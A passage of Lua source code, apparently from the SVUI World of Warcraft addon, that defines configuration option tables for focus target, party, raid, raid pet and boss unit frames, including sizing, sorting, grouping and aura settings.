name = L["Base Settings"],
args = {
showAuras = {
order = 1,
type = "execute",
name = L["Show Auras"],
func = function()
if(SVUI_FocusTarget.forceShowAuras == true) then
SVUI_FocusTarget.forceShowAuras = nil
else
SVUI_FocusTarget.forceShowAuras = true
end
MOD:SetUnitFrame("focustarget")
end
},
spacer1 = {
order = 2,
type = "description",
name = "",
},
rangeCheck = {order = 3, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"},
hideonnpc = {type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["focustarget"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["focustarget"]["power"].hideonnpc = m;MOD:SetUnitFrame("focustarget")end},
threatEnabled = {type = "toggle", order = 5, name = L["Show Threat"]}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
},
}
},
misc = SVUIOptions:SetMiscConfigGroup(false, MOD.SetUnitFrame, "focustarget"),
health = SVUIOptions:SetHealthConfigGroup(false, MOD.SetUnitFrame, "focustarget"),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetUnitFrame, "focustarget"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetUnitFrame, "focustarget"),
buffs = SVUIOptions:SetAuraConfigGroup(false, "buffs", false, MOD.SetUnitFrame, "focustarget"),
debuffs = SVUIOptions:SetAuraConfigGroup(false, "debuffs", false, MOD.SetUnitFrame, "focustarget"),
icons = SVUIOptions:SetIconConfigGroup(MOD.SetUnitFrame, "focustarget")
}
},
party = {
name = L['Party'],
type = 'group',
order = 10,
childGroups = "select",
get = function(l) return SV.db.UnitFrames['party'][l[#l]] end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party"); MOD:SetGroupFrame('party') end,
args = {
enable = {
type = 'toggle',
order = 1,
name = L['Enable'],
},
configureToggle = {
order = 2,
type = 'execute',
name = L['Display Frames'],
func = function()
MOD:ViewGroupFrames(SVUI_Party, SVUI_Party.forceShow ~= true or nil)
end,
},
resetSettings = {
type = 'execute',
order = 3,
name = L['Restore Defaults'],
func = function(l, m)MOD:ResetUnitOptions('party')SV:ResetAnchors('Party Frames')end,
},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 5,
name = "",
type = "description",
width = "full",
},
general = {
order = 6,
type = "group",
name = L["General Settings"],
args = {
commonGroup = {
order = 1,
name = L["Basic Options"],
type = "group",
guiInline = true,
args = {
rangeCheck = {
order = 1,
type = "toggle",
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
},
predict = {
order = 2,
type = "toggle",
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
},
threatEnabled = {
order = 3,
type = "toggle",
name = L["Show Threat"],
},
}
},
layoutGroup = {
order = 2,
name = L["Layout Options"],
type = "group",
guiInline = true,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], "party"); MOD:SetGroupFrame("party", true) end,
args = {
common = {
order = 1,
name = L["General Layout"],
type = "group",
guiInline = true,
args = {
enable = {
order = 1,
name = L["Enable Grid Mode"],
desc = L["Converts frames into symmetrical squares. Ideal for healers."],
type = "toggle",
get = function(key) return SV.db.UnitFrames["party"].grid.enable end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "party", "grid");
MOD:SetGroupFrame("party", true);
SV.Options.args.UnitFrames.args.commonGroup.args.party.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "party");
end,
},
invertGroupingOrder = {
order = 2,
type = "toggle",
name = L["Invert Grouping Order"],
desc = L["Enabling this inverts the grouping order."],
disabled = function() return not SV.db.UnitFrames["party"].customSorting end,
},
}
},
sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.party.grid.enable, "party"),
sorting = {
order = 3,
name = L["Sorting"],
type = "group",
guiInline = true,
args = {
gRowCol = {
order = 1,
type = "range",
name = L["Groups Per Row / Column"],
min = 1,
max = 8,
step = 1,
width = 'full',
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "party");
MOD:SetGroupFrame("party")
if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then
MOD:ViewGroupFrames(_G["SVUI_Raid"])
MOD:ViewGroupFrames(_G["SVUI_Raid"], true)
end
end,
},
showBy = {
order = 2,
name = L["Growth Direction"],
desc = L["Growth direction from the first unitframe."],
type = "select",
values = {
DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]),
DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]),
UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]),
UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]),
RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]),
RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]),
LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]),
LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]),
},
},
sortMethod = {
order = 3,
name = L["Group By"],
desc = L["Set the order that the group will sort."],
type = "select",
values = {
["CLASS"] = CLASS,
["ROLE"] = ROLE.."(Tanks, Healers, DPS)",
["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)",
["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)",
["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)",
["NAME"] = NAME,
["MTMA"] = L["Main Tanks / Main Assist"],
["GROUP"] = GROUP,
},
},
sortDir = {
order = 4,
name = L["Sort Direction"],
desc = L["Defines the sort order of the selected sort method."],
type = "select",
values = {
["ASC"] = L["Ascending"],
["DESC"] = L["Descending"],
},
},
}
}
},
},
}
},
auraWatch = {
order = 600,
type = 'group',
name = L['Aura Watch'],
get = function(l)return
SV.db.UnitFrames['party']['auraWatch'][l[#l]]end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "auraWatch"); MOD:SetGroupFrame('party')end,
args = {
enable = {
type = 'toggle',
name = L['Enable'],
order = 1,
},
size = {
type = 'range',
name = L['Size'],
desc = L['Size of the indicator icon.'],
order = 2,
min = 4,
max = 15,
step = 1,
},
configureButton = {
type = 'execute',
name = L['Configure Auras'],
func = function()SVUIOptions:SetToFilterConfig('BuffWatch')end,
order = 3,
},
},
},
misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, 'party'),
health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, 'party'),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetGroupFrame, 'party'),
name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, 'party'),
portrait = SVUIOptions:SetPortraitConfigGroup(MOD.SetGroupFrame, 'party'),
buffs = SVUIOptions:SetAuraConfigGroup(true, 'buffs', true, MOD.SetGroupFrame, 'party'),
debuffs = SVUIOptions:SetAuraConfigGroup(true, 'debuffs', true, MOD.SetGroupFrame, 'party'),
petsGroup = {
order = 800,
type = 'group',
name = L['Party Pets'],
get = function(l)return SV.db.UnitFrames['party']['petsGroup'][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "party", "petsGroup");MOD:SetGroupFrame('party')end,
args = {
enable = {
type = 'toggle',
name = L['Enable'],
order = 1,
},
width = {
order = 3,
name = L['Width'],
type = 'range',
min = 10,
max = 500,
step = 1,
},
height = {
order = 4,
name = L['Height'],
type = 'range',
min = 10,
max = 250,
step = 1,
},
anchorPoint = {
type = 'select',
order = 5,
name = L['Anchor Point'],
desc = L['What point to anchor to the frame you set to attach to.'],
values = {TOPLEFT='TOPLEFT',LEFT='LEFT',BOTTOMLEFT='BOTTOMLEFT',RIGHT='RIGHT',TOPRIGHT='TOPRIGHT',BOTTOMRIGHT='BOTTOMRIGHT',CENTER='CENTER',TOP='TOP',BOTTOM='BOTTOM'},
},
xOffset = {
order = 6,
type = 'range',
name = L['xOffset'],
desc = L['An X offset (in pixels) to be used when anchoring new frames.'],
min = - 500,
max = 500,
step = 1,
},
yOffset = {
order = 7,
type = 'range',
name = L['yOffset'],
desc = L['An Y offset (in pixels) to be used when anchoring new frames.'],
min = - 500,
max = 500,
step = 1,
},
name_length = {
order = 8,
name = L["Name Length"],
desc = L["TEXT_FORMAT_DESC"],
type = "range",
width = "full",
min = 1,
max = 30,
step = 1,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "party", "petsGroup");
local tag = "[name:" .. value .. "]";
MOD:ChangeDBVar(tag, "tags", "party", "petsGroup");
end,
}
},
},
targetsGroup = {
order = 900,
type = 'group',
name = L['Party Targets'],
get = function(l)return
SV.db.UnitFrames['party']['targetsGroup'][l[#l]]end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "targetsGroup"); MOD:SetGroupFrame('party') end,
args = {
enable = {
type = 'toggle',
name = L['Enable'],
order = 1,
},
width = {
order = 3,
name = L['Width'],
type = 'range',
min = 10,
max = 500,
step = 1,
},
height = {
order = 4,
name = L['Height'],
type = 'range',
min = 10,
max = 250,
step = 1,
},
anchorPoint = {
type = 'select',
order = 5,
name = L['Anchor Point'],
desc = L['What point to anchor to the frame you set to attach to.'],
values = {TOPLEFT='TOPLEFT',LEFT='LEFT',BOTTOMLEFT='BOTTOMLEFT',RIGHT='RIGHT',TOPRIGHT='TOPRIGHT',BOTTOMRIGHT='BOTTOMRIGHT',CENTER='CENTER',TOP='TOP',BOTTOM='BOTTOM'},
},
xOffset = {
order = 6,
type = 'range',
name = L['xOffset'],
desc = L['An X offset (in pixels) to be used when anchoring new frames.'],
min = - 500,
max = 500,
step = 1,
},
yOffset = {
order = 7,
type = 'range',
name = L['yOffset'],
desc = L['An Y offset (in pixels) to be used when anchoring new frames.'],
min = - 500,
max = 500,
step = 1,
},
name_length = {
order = 8,
name = L["Name Length"],
desc = L["TEXT_FORMAT_DESC"],
type = "range",
width = "full",
min = 1,
max = 30,
step = 1,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "party", "targetsGroup");
local tag = "[name:" .. value .. "]";
MOD:ChangeDBVar(tag, "tags", "party", "targetsGroup");
end,
}
},
},
rdebuffs = {
order = 700,
type = 'group',
name = L['Raid Debuffs'],
get = function(l)return
SV.db.UnitFrames['party']['rdebuffs'][l[#l]]end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "party", "rdebuffs"); MOD:SetGroupFrame('party')end,
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1,
},
configureToggle = {
order = 2,
type = "execute",
name = L["Show Indicators"],
func = function()
local toggle = (not _G["SVUI_Party"].forceShowAuras) or nil
MOD:ViewGroupFrames(_G["SVUI_Party"], true, toggle)
MOD:SetGroupFrame('party')
end,
},
configureButton = {
type = "execute",
name = L["Configure Filters"],
func = function() SVUIOptions:SetToFilterConfig("Raid") end,
order = 3,
},
size = {
type = "range",
name = L["Size"],
order = 4,
min = 8,
max = 35,
step = 1,
},
fontSize = {
type = "range",
name = L["Font Size"],
order = 5,
min = 7,
max = 22,
step = 1,
},
xOffset = {
order = 6,
type = "range",
name = L["xOffset"],
min = - 300,
max = 300,
step = 1,
},
yOffset = {
order = 7,
type = "range",
name = L["yOffset"],
min = - 300,
max = 300,
step = 1,
},
},
},
icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, 'party')
},
},
raid = {
name = "Raid",
type = "group",
order = 11,
childGroups = "select",
get = function(l) return SV.db.UnitFrames.raid[l[#l]] end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raid"); MOD:SetGroupFrame("raid") end,
args = {
enable = {
type = "toggle",
order = 1,
name = L["Enable"],
},
configureToggle = {
order = 2,
type = "execute",
name = L["Display Frames"],
func = function()
local setForced = (_G["SVUI_Raid"].forceShow ~= true) or nil;
MOD:ViewGroupFrames(_G["SVUI_Raid"], setForced)
end,
},
resetSettings = {
type = "execute",
order = 3,
name = L["Restore Defaults"],
func = function(l, m)MOD:ResetUnitOptions("raid") SV:ResetAnchors("Raid Frames") end,
},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 5,
name = "",
type = "description",
width = "full",
},
general = {
order = 6,
type = "group",
name = L["General Settings"],
args = {
commonGroup = {
order = 1,
name = L["Basic Options"],
type = "group",
guiInline = true,
args = {
rangeCheck = {
order = 1,
type = "toggle",
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
},
predict = {
order = 2,
type = "toggle",
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
},
threatEnabled = {
order = 3,
type = "toggle",
name = L["Show Threat"],
},
}
},
layoutGroup = {
order = 2,
name = L["Layout Options"],
type = "group",
guiInline = true,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raid"); MOD:SetGroupFrame("raid", true) end,
args = {
common = {
order = 1,
name = L["General Layout"],
type = "group",
guiInline = true,
args = {
enable = {
order = 1,
name = L["Enable Grid Mode"],
desc = L["Converts frames into symmetrical squares. Ideal for healers."],
type = "toggle",
get = function(key) return SV.db.UnitFrames.raid.grid.enable end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "raid", "grid");
MOD:SetGroupFrame("raid", true);
SV.Options.args.UnitFrames.args.commonGroup.args.raid.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "raid");
end,
},
showPlayer = {
order = 2,
type = "toggle",
name = L["Display Player"],
desc = L["When true, always show player in raid frames."],
get = function(l)return SV.db.UnitFrames.raid.showPlayer end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raid"); MOD:SetGroupFrame("raid", true) end,
},
invertGroupingOrder = {
order = 3,
type = "toggle",
name = L["Invert Grouping Order"],
desc = L["Enabling this inverts the grouping order when the raid is not full, this will reverse the direction it starts from."],
disabled = function() return not SV.db.UnitFrames.raid.customSorting end,
},
}
},
sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.raid.grid.enable, "raid"),
sorting = {
order = 3,
name = L["Sorting"],
type = "group",
guiInline = true,
args = {
gRowCol = {
order = 1,
type = "range",
name = L["Groups Per Row / Column"],
min = 1,
max = 8,
step = 1,
width = 'full',
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "raid");
MOD:SetGroupFrame("raid")
if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then
MOD:ViewGroupFrames(_G["SVUI_Raid"])
MOD:ViewGroupFrames(_G["SVUI_Raid"], true)
end
end,
},
showBy = {
order = 2,
name = L["Growth Direction"],
desc = L["Growth direction from the first unitframe."],
type = "select",
values = {
DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]),
DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]),
UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]),
UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]),
RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]),
RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]),
LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]),
LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]),
},
},
sortMethod = {
order = 3,
name = L["Group By"],
desc = L["Set the order that the group will sort."],
type = "select",
values = {
["CLASS"] = CLASS,
["ROLE"] = ROLE.."(Tanks, Healers, DPS)",
["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)",
["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)",
["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)",
["NAME"] = NAME,
["MTMA"] = L["Main Tanks / Main Assist"],
["GROUP"] = GROUP,
},
},
sortDir = {
order = 4,
name = L["Sort Direction"],
desc = L["Defines the sort order of the selected sort method."],
type = "select",
values = {
["ASC"] = L["Ascending"],
["DESC"] = L["Descending"],
},
},
spacer3 = {
order = 5,
type = "description",
width = "full",
name = " ",
},
allowedGroup = {
order = 6,
name = L["Enabled Groups"],
type = "group",
guiInline = true,
args = {
showGroupNumber = {
type = "toggle",
order = 1,
name = L["Show Group Number Icons"],
width = 'full',
},
one = {
type = "toggle",
order = 2,
name = L["Group 1"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][1] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][1] = value;
MOD:SetGroupFrame("raid")
end,
},
two = {
type = "toggle",
order = 3,
name = L["Group 2"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][2] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][2] = value;
MOD:SetGroupFrame("raid")
end,
},
three = {
type = "toggle",
order = 4,
name = L["Group 3"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][3] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][3] = value;
MOD:SetGroupFrame("raid")
end,
},
four = {
type = "toggle",
order = 5,
name = L["Group 4"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][4] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][4] = value;
MOD:SetGroupFrame("raid")
end,
},
five = {
type = "toggle",
order = 6,
name = L["Group 5"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][5] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][5] = value;
MOD:SetGroupFrame("raid")
end,
},
six = {
type = "toggle",
order = 7,
name = L["Group 6"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][6] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][6] = value;
MOD:SetGroupFrame("raid")
end,
},
seven = {
type = "toggle",
order = 8,
name = L["Group 7"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][7] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][7] = value;
MOD:SetGroupFrame("raid")
end,
},
eight = {
type = "toggle",
order = 9,
name = L["Group 8"],
get = function(key) return SV.db.UnitFrames.raid["allowedGroup"][8] end,
set = function(key, value)
SV.db.UnitFrames.raid["allowedGroup"][8] = value;
MOD:SetGroupFrame("raid")
end,
},
},
},
}
}
},
},
}
},
misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, "raid"),
health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, "raid"),
power = SVUIOptions:SetPowerConfigGroup(false, MOD.SetGroupFrame, "raid"),
name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, "raid"),
buffs = SVUIOptions:SetAuraConfigGroup(true, "buffs", true, MOD.SetGroupFrame, "raid"),
debuffs = SVUIOptions:SetAuraConfigGroup(true, "debuffs", true, MOD.SetGroupFrame, "raid"),
auraWatch = {
order = 600,
type = "group",
name = L["Aura Watch"],
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1,
get = function(l)return SV.db.UnitFrames.raid.auraWatch.enable end,
set = function(l, m)MOD:ChangeDBVar(m, "enable", "raid", "auraWatch");MOD:SetGroupFrame("raid")end,
},
size = {
type = "range",
name = L["Size"],
desc = L["Size of the indicator icon."],
order = 2,
min = 4,
max = 15,
step = 1,
get = function(l)return SV.db.UnitFrames.raid.auraWatch.size end,
set = function(l, m)MOD:ChangeDBVar(m, "size", "raid", "auraWatch");MOD:SetGroupFrame("raid")end,
},
configureButton = {
type = "execute",
name = L["Configure Auras"],
func = function()SVUIOptions:SetToFilterConfig("BuffWatch")end,
order = 3,
},
},
},
rdebuffs = {
order = 800,
type = "group",
name = L["Raid Debuffs"],
get = function(l)return
SV.db.UnitFrames.raid["rdebuffs"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "raid", "rdebuffs");MOD:SetGroupFrame("raid")end,
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1,
},
configureToggle = {
order = 2,
type = "execute",
name = L["Show Indicators"],
func = function()
local toggle = (not _G["SVUI_Raid"].forceShowAuras) or nil
MOD:ViewGroupFrames(_G["SVUI_Raid"], true, toggle)
MOD:SetGroupFrame("raid")
end,
},
configureButton = {
type = "execute",
name = L["Configure Filters"],
func = function()SVUIOptions:SetToFilterConfig("Raid")end,
order = 3,
},
size = {
type = "range",
name = L["Size"],
order = 4,
min = 8,
max = 35,
step = 1,
},
fontSize = {
type = "range",
name = L["Font Size"],
order = 5,
min = 7,
max = 22,
step = 1,
},
xOffset = {
order = 6,
type = "range",
name = L["xOffset"],
min = - 300,
max = 300,
step = 1,
},
yOffset = {
order = 7,
type = "range",
name = L["yOffset"],
min = - 300,
max = 300,
step = 1,
},
},
},
icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, "raid"),
},
},
raidpet = {
order = 12,
type = 'group',
name = L['Raid Pets'],
childGroups = "select",
get = function(l) return SV.db.UnitFrames['raidpet'][l[#l]] end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raidpet"); MOD:SetGroupFrame('raidpet'); end,
args = {
enable = {
type = 'toggle',
order = 1,
name = L['Enable'],
},
configureToggle = {
order = 2,
type = 'execute',
name = L['Display Frames'],
func = function() MOD:ViewGroupFrames(SVUI_Raidpet, SVUI_Raidpet.forceShow ~= true or nil); end,
},
resetSettings = {
type = 'execute',
order = 3,
name = L['Restore Defaults'],
func = function(l, m) MOD:ResetUnitOptions('raidpet'); SV:ResetAnchors('Raid Pet Frames'); MOD:SetGroupFrame('raidpet', true); end,
},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 5,
name = "",
type = "description",
width = "full",
},
general = {
order = 6,
type = "group",
name = L["General Settings"],
args = {
commonGroup = {
order = 1,
name = L["Basic Options"],
type = "group",
guiInline = true,
args = {
rangeCheck = {
order = 1,
type = "toggle",
name = L["Range Check"],
desc = L["Check if you are in range to cast spells on this specific unit."],
},
predict = {
order = 2,
type = "toggle",
name = L["Heal Prediction"],
desc = L["Show a incomming heal prediction bar on the unitframe. Also display a slightly different colored bar for incoming overheals."],
},
threatEnabled = {
order = 3,
type = "toggle",
name = L["Show Threat"],
},
}
},
layoutGroup = {
order = 2,
name = L["Layout Options"],
type = "group",
guiInline = true,
set = function(key, value) MOD:ChangeDBVar(value, key[#key], "raidpet"); MOD:SetGroupFrame("raidpet", true) end,
args = {
common = {
order = 1,
name = L["General Layout"],
type = "group",
guiInline = true,
args = {
enable = {
order = 1,
name = L["Enable Grid Mode"],
desc = L["Converts frames into symmetrical squares. Ideal for healers."],
type = "toggle",
get = function(key) return SV.db.UnitFrames["raidpet"].grid.enable end,
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "raidpet", "grid");
MOD:SetGroupFrame("raidpet", true);
SV.Options.args.UnitFrames.args.commonGroup.args.raidpet.args.general.args.layoutGroup.args.sizing = SVUIOptions:SetSizeConfigGroup(value, "raidpet");
end,
},
invertGroupingOrder = {
order = 2,
type = "toggle",
name = L["Invert Grouping Order"],
desc = L["Enabling this inverts the grouping order."],
disabled = function() return not SV.db.UnitFrames["raidpet"].customSorting end,
},
}
},
sizing = SVUIOptions:SetSizeConfigGroup(SV.db.UnitFrames.raidpet.grid.enable, "raidpet"),
sorting = {
order = 3,
name = L["Sorting"],
type = "group",
guiInline = true,
args = {
gRowCol = {
order = 1,
type = "range",
name = L["Groups Per Row / Column"],
min = 1,
max = 8,
step = 1,
width = 'full',
set = function(key, value)
MOD:ChangeDBVar(value, key[#key], "raidpet");
MOD:SetGroupFrame("raidpet")
if(_G["SVUI_Raid"] and _G["SVUI_Raid"].isForced) then
MOD:ViewGroupFrames(_G["SVUI_Raid"])
MOD:ViewGroupFrames(_G["SVUI_Raid"], true)
end
end,
},
showBy = {
order = 2,
name = L["Growth Direction"],
desc = L["Growth direction from the first unitframe."],
type = "select",
values = {
DOWN_RIGHT = format(L["%s and then %s"], L["Down"], L["Right"]),
DOWN_LEFT = format(L["%s and then %s"], L["Down"], L["Left"]),
UP_RIGHT = format(L["%s and then %s"], L["Up"], L["Right"]),
UP_LEFT = format(L["%s and then %s"], L["Up"], L["Left"]),
RIGHT_DOWN = format(L["%s and then %s"], L["Right"], L["Down"]),
RIGHT_UP = format(L["%s and then %s"], L["Right"], L["Up"]),
LEFT_DOWN = format(L["%s and then %s"], L["Left"], L["Down"]),
LEFT_UP = format(L["%s and then %s"], L["Left"], L["Up"]),
},
},
sortMethod = {
order = 3,
name = L["Group By"],
desc = L["Set the order that the group will sort."],
type = "select",
values = {
["CLASS"] = CLASS,
["ROLE"] = ROLE.."(Tanks, Healers, DPS)",
["ROLE_TDH"] = ROLE.."(Tanks, DPS, Healers)",
["ROLE_HDT"] = ROLE.."(Healers, DPS, Tanks)",
["ROLE_HTD"] = ROLE.."(Healers, Tanks, DPS)",
["NAME"] = NAME,
["MTMA"] = L["Main Tanks / Main Assist"],
["GROUP"] = GROUP,
},
},
sortDir = {
order = 4,
name = L["Sort Direction"],
desc = L["Defines the sort order of the selected sort method."],
type = "select",
values = {
["ASC"] = L["Ascending"],
["DESC"] = L["Descending"],
},
},
}
}
},
},
}
},
misc = SVUIOptions:SetMiscConfigGroup(true, MOD.SetGroupFrame, 'raidpet'),
health = SVUIOptions:SetHealthConfigGroup(true, MOD.SetGroupFrame, 'raidpet'),
name = SVUIOptions:SetNameConfigGroup(MOD.SetGroupFrame, 'raidpet'),
buffs = SVUIOptions:SetAuraConfigGroup(true, 'buffs', true, MOD.SetGroupFrame, 'raidpet'),
debuffs = SVUIOptions:SetAuraConfigGroup(true, 'debuffs', true, MOD.SetGroupFrame, 'raidpet'),
auraWatch = {
order = 600,
type = 'group',
name = L['Aura Watch'],
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1,
get = function(l)return SV.db.UnitFrames["raidpet"].auraWatch.enable end,
set = function(l, m)MOD:ChangeDBVar(m, "enable", "raidpet", "auraWatch");MOD:SetGroupFrame('raidpet')end,
},
size = {
type = "range",
name = L["Size"],
desc = L["Size of the indicator icon."],
order = 2,
min = 4,
max = 15,
step = 1,
get = function(l)return SV.db.UnitFrames["raidpet"].auraWatch.size end,
set = function(l, m)MOD:ChangeDBVar(m, "size", "raidpet", "auraWatch");MOD:SetGroupFrame('raidpet')end,
},
configureButton = {
type = 'execute',
name = L['Configure Auras'],
func = function()SVUIOptions:SetToFilterConfig('BuffWatch')end,
order = 3,
},
},
},
rdebuffs = {
order = 700,
type = 'group',
name = L['Raid Debuffs'],
get = function(l)return
SV.db.UnitFrames['raidpet']['rdebuffs'][l[#l]]end,
set = function(l, m) MOD:ChangeDBVar(m, l[#l], "raidpet", "rdebuffs"); MOD:SetGroupFrame('raidpet')end,
args = {
enable = {
type = "toggle",
name = L["Enable"],
order = 1,
},
configureToggle = {
order = 2,
type = "execute",
name = L["Show Indicators"],
func = function()
local toggle = (not _G["SVUI_RaidPet"].forceShowAuras) or nil
MOD:ViewGroupFrames(_G["SVUI_RaidPet"], true, toggle)
MOD:SetGroupFrame('raidpet')
end,
},
configureButton = {
type = "execute",
name = L["Configure Filters"],
func = function() SVUIOptions:SetToFilterConfig("Raid") end,
order = 3,
},
size = {
type = "range",
name = L["Size"],
order = 4,
min = 8,
max = 35,
step = 1,
},
fontSize = {
type = "range",
name = L["Font Size"],
order = 5,
min = 7,
max = 22,
step = 1,
},
xOffset = {
order = 6,
type = "range",
name = L["xOffset"],
min = - 300,
max = 300,
step = 1,
},
yOffset = {
order = 7,
type = "range",
name = L["yOffset"],
min = - 300,
max = 300,
step = 1,
},
},
},
icons = SVUIOptions:SetIconConfigGroup(MOD.SetGroupFrame, 'raidpet'),
},
},
boss = {
name = L["Boss"],
type = "group",
order = 13,
childGroups = "select",
get = function(l)return SV.db.UnitFrames["boss"][l[#l]]end,
set = function(l, m)MOD:ChangeDBVar(m, l[#l], "boss");MOD:SetEnemyFrame("boss", MAX_BOSS_FRAMES)end,
args = {
enable = {type = "toggle", order = 1, name = L["Enable"]},
displayFrames = {type = "execute", order = 2, name = L["Display Frames"], func = function()MOD:ViewEnemyFrames("boss", 4)end},
resetSettings = {type = "execute", order = 3, name = L["Restore Defaults"], func = function(l, m)MOD:ResetUnitOptions("boss")SV:ResetAnchors("Boss Frames")end},
spacer1 = {
order = 4,
name = "",
type = "description",
width = "full",
},
spacer2 = {
order = 5,
name = "",
type = "description",
width = "full",
},
commonGroup = {
order = 6,
type = "group",
name = L["General Settings"],
args = {
baseGroup = {
order = 1,
type = "group",
guiInline = true,
name = L["Base Settings"],
args = {
showBy = {order = 1, name = L["Growth Direction"], type = "select", values = {["UP"] = L["Up"], ["DOWN"] = L["Down"]}},
spacer1 = {
order = 2,
type = "description",
name = "",
},
rangeCheck = {order = 3, name = L["Range Check"], desc = L["Check if you are in range to cast spells on this specific unit."], type = "toggle"},
hideonnpc = {type = "toggle", order = 4, name = L["Text Toggle On NPC"], desc = L["Power text will be hidden on NPC targets, in addition the name text will be repositioned to the power texts anchor point."], get = function(l)return SV.db.UnitFrames["boss"]["power"].hideonnpc end, set = function(l, m)SV.db.UnitFrames["boss"]["power"].hideonnpc = m;MOD:SetEnemyFrame("boss")end},
threatEnabled = {type = "toggle", order = 5, name = L["Show Threat"]}
}
},
sizeGroup = {
order = 2,
guiInline = true,
type = "group",
name = L["Size Settings"],
args = {
width = {
order = 1,
name = L["Width"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1,
},
height = {
order = 2,
name = L["Height"],
type = "range",
width = "full",
min = 10,
max = 500,
step = 1
},
}
},
}
},
